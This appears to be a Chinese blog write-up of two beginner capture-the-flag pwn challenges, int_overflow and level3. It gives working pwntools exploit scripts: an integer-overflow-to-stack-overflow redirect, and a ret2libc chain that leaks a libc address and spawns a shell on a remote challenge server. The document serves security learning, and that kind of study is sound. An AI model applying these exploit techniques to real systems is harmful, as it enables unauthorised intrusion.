攻防世界pwn(4)

int_overflow

在这里插入图片描述
在这里插入图片描述

call strlen 之后 返回值放在了al寄存器中,这是一个八位的积存器,也就是说如果 s 字符串的长度 大于255 就会造成 整数溢出。

那我们利用这个漏洞干什么呢,我们需要进到else里,将 read 读进来的 s 复制到 dest 中,是一个可以利用的栈溢出。

现在我们知道了可以通过整数溢出到达 栈溢出漏洞,修改程序执行流,使程序跳转到 what_is_this 中。

from pwn import *
p = process("./int_overflow")
p.sendlineafter("choice:","1") 
p.sendlineafter("username:\n","YmCold")

payload = "A"*24 
payload += p32(0x804868b) 
payload = payload.ljust(261,"A")
p.sendlineafter("passwd:\n",payload) 
print p.recvall()

在这里插入图片描述

level3

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
没有system,只能去libc库里面找

# -*- coding:utf-8 -*-  
from pwn import *
from LibcSearcher import LibcSearcher
p=remote("111.198.29.45",31144)
elf = ELF("./level3")
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
got_write = elf.got['write']
vul_func = 0x0804844b #这里用main_addr = elf.symbols['main'] 返回主函数也是可以滴
payload = 'A' * 140 + p32(plt_write) + p32(vul_func) + p32(1) + p32(got_write) + p32(4)
p.recvuntil('Input:\n')#这句千万不能漏了,逻辑出问题就会执行不了,这句的意思就是调用执行嘛,然后就把payload写进去就可以达到目的哟
p.send(payload)
write_addr = u32(p.recv(4))
print hex(write_addr)

libc = LibcSearcher('write', write_addr)
offset = write_addr - libc.dump('write')
system_addr = offset + libc.dump('system')
binsh_addr = offset + libc.dump('str_bin_sh')
payload1 = 'a' * 140 + p32(system_addr) + p32(plt_read) + p32(binsh_addr)
p.recvuntil('Input:\n')
p.send(payload1)
p.interactive()

在这里插入图片描述
好了,新手入门全部做完了,耶,开心~~~
萌新之旅要开始啦~~~

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值